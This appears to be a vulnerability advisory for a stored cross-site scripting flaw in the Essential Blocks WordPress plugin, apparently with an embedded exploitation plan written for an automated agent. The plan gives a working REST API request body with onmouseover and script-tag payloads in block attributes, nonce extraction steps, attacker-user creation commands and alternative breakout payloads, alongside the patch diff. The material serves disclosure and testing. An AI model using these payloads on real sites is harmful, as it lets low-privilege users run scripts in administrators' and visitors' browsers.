Gutenberg Essential Blocks <= 6.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block Attributes
Description
The Essential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the className, classHook, and blockId attributes in the Add to Cart block (essential-blocks/add-to-cart) in all versions up to, and including, 6.0.4. This is due to insufficient output escaping in the render_callback() function where these attributes are placed into class and data-id HTML attributes using raw sprintf() and implode() without esc_attr() escaping. While the outer wrapper div uses get_block_wrapper_attributes() which properly escapes, the inner divs do not. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.1.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4658 ## 1. Vulnerability Summary The **Gutenberg Essential Blocks** plugin (versions <= 6.0.4) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `essential-blocks/add-to-cart` block. The vulnerability exists in the server-side `render_callback()` …
Show full research plan
Exploitation Research Plan: CVE-2026-4658
1. Vulnerability Summary
The Gutenberg Essential Blocks plugin (versions <= 6.0.4) is vulnerable to Stored Cross-Site Scripting (XSS) via the essential-blocks/add-to-cart block. The vulnerability exists in the server-side render_callback() function. While the outer wrapper is safely handled by get_block_wrapper_attributes(), inner HTML elements are constructed using raw sprintf() and implode() calls on block attributes (className, classHook, and blockId) without appropriate escaping (e.g., esc_attr()). This allows an authenticated user with at least Contributor permissions to inject malicious scripts into a post.
2. Attack Vector Analysis
- Endpoint: WordPress REST API for post creation/update (
/wp-json/wp/v2/posts) or the classic editor/Gutenberg editor (post.php). - Authentication: Required (Contributor role or higher).
- Vulnerable Block:
essential-blocks/add-to-cart. - Vulnerable Attributes:
blockId,className,classHook. - Preconditions: The plugin must be active, and a post/page containing the malicious block must be published and viewed.
3. Code Flow
- Block Registration: The plugin registers the
essential-blocks/add-to-cartblock (likely in aninithook). - Editor Action: A Contributor user creates a post. The Gutenberg editor saves block attributes into the
post_contentas a JSON-like comment:<!-- wp:essential-blocks/add-to-cart {"blockId":"PAYLOAD", "className":"PAYLOAD"} /-->. - Server-Side Rendering: When the post is viewed, WordPress parses the blocks and calls the
render_callbackdefined by Essential Blocks. - Vulnerable Sink: Inside
render_callback(), the code retrieves attributes:$blockId = $attributes['blockId']; $className = $attributes['className']; // ... - String Construction: The function uses
sprintforimplodeto inject these into HTML:// Inferred vulnerable pattern from description $inner_content = sprintf('<div class="%s" data-id="%s">', $className, $blockId); - Execution: The browser renders the unescaped attribute values, executing any injected JavaScript.
4. Nonce Acquisition Strategy
This vulnerability requires Contributor authentication. To interact with the REST API or the block editor via an automated agent:
- Login: Perform a login request to get authentication cookies.
- REST Nonce: For Gutenberg/REST API operations, the
wp_restnonce is required. - Extraction:
- Create a dummy post/page using WP-CLI:
wp post create --post_type=post --post_status=draft --post_author=CONTRIBUTOR_ID. - Navigate to the WordPress Admin dashboard or the "Edit Post" page for the newly created post.
- Use
browser_evalto extract the REST nonce from thewpApiSettingsobject:browser_eval("window.wpApiSettings.nonce") - Alternatively, extract the nonce from the localized script
EssentialBlocksLocalize(seen inassets/admin/controls/controls.jsandassets/admin/dashboard/admin.js):browser_eval("window.EssentialBlocksLocalize.nonce")
- Create a dummy post/page using WP-CLI:
5. Exploitation Strategy
Step 1: Authentication
Login as a Contributor user and capture cookies.
Step 2: Post Creation (with Payload)
Use the http_request tool to create a new post containing the malicious block.
- URL:
http://TARGET/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "title": "XSS Test", "content": "<!-- wp:essential-blocks/add-to-cart {\"blockId\":\"eb-add-to-cart-xss\\\" onmouseover=\\\"alert('XSS_BLOCKID')\\\"\", \"className\":\"xss-class\\\" onmouseover=\\\"alert('XSS_CLASSNAME')\\\"\", \"classHook\":\"xss-hook\\\" onmouseover=\\\"alert('XSS_CLASSHOOK')\\\"\"} /-->", "status": "publish" }
Step 3: Triggering the XSS
- Identify the URL of the published post from the API response.
- Navigate to the post URL.
- Hover over the "Add to Cart" block area to trigger the
onmouseoverevent, or use a more aggressive payload like"><script>alert(1)</script>.
6. Test Data Setup
- Plugin Installation: Ensure
essential-blocksversion 6.0.4 is installed. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Target Block Verification: Confirm the block slug is
essential-blocks/add-to-cart.
7. Expected Results
The HTML rendered on the frontend for the Add to Cart block should look similar to:
<div class="eb-add-to-cart-wrapper ...">
<div class="xss-class" onmouseover="alert('XSS_CLASSNAME')" data-id="eb-add-to-cart-xss" onmouseover="alert('XSS_BLOCKID')">
<!-- Block Content -->
</div>
</div>
When an admin or guest views the page, the JavaScript inside the onmouseover attribute (or a <script> tag if used) will execute.
8. Verification Steps
- Database Check: Verify the payload is stored in the
wp_poststable:wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1;" - Frontend Inspection: Check the page source for the unescaped attributes:
# This can be done via browser_navigate and inspecting page content
9. Alternative Approaches
If the onmouseover approach is blocked by a WAF or sanitized by other means (though the vulnerability report says it is NOT escaped), try:
- Attribute Breakout:
blockId: "eb-123\"><script>alert(document.domain)</script>" - Style Injection:
blockId: "eb-123\" style=\"animation-name:xss\" onanimationstart=\"alert(1)\"" - Data Attribute Leak: Injecting into
data-idto break out and add a new attribute:blockId: "some-id\" onfocus=\"alert(1)\" autofocus=\"
Summary
The Essential Blocks – Page Builder plugin for WordPress (<= 6.0.4) is vulnerable to Stored Cross-Site Scripting via the 'Add to Cart' block. Authenticated attackers with Contributor-level permissions or higher can inject malicious JavaScript into block attributes such as blockId, className, and classHook, which are rendered on the frontend without proper sanitization or escaping.
Security Fix
@@ -24,7 +24,7 @@ - $inner_html = sprintf('<div class="%s %s" data-id="%s">', $className, $classHook, $blockId); + $inner_html = sprintf('<div class="%s %s" data-id="%s">', esc_attr($className), esc_attr($classHook), esc_attr($blockId));
Exploit Outline
The exploit is performed by an authenticated user with at least Contributor permissions. The attacker first obtains a valid REST API nonce (usually available via the window.wpApiSettings object in the WordPress admin dashboard). They then send a POST request to the WordPress REST API endpoint (/wp-json/wp/v2/posts) to create or update a post. The post content must include the 'essential-blocks/add-to-cart' block with a malicious payload injected into one of its attributes. For example, setting the 'blockId' attribute to a value like 'eb-id" onmouseover="alert(1)"' allows the attacker to break out of the HTML attribute. When a user (including an administrator) views the published post, the injected script executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.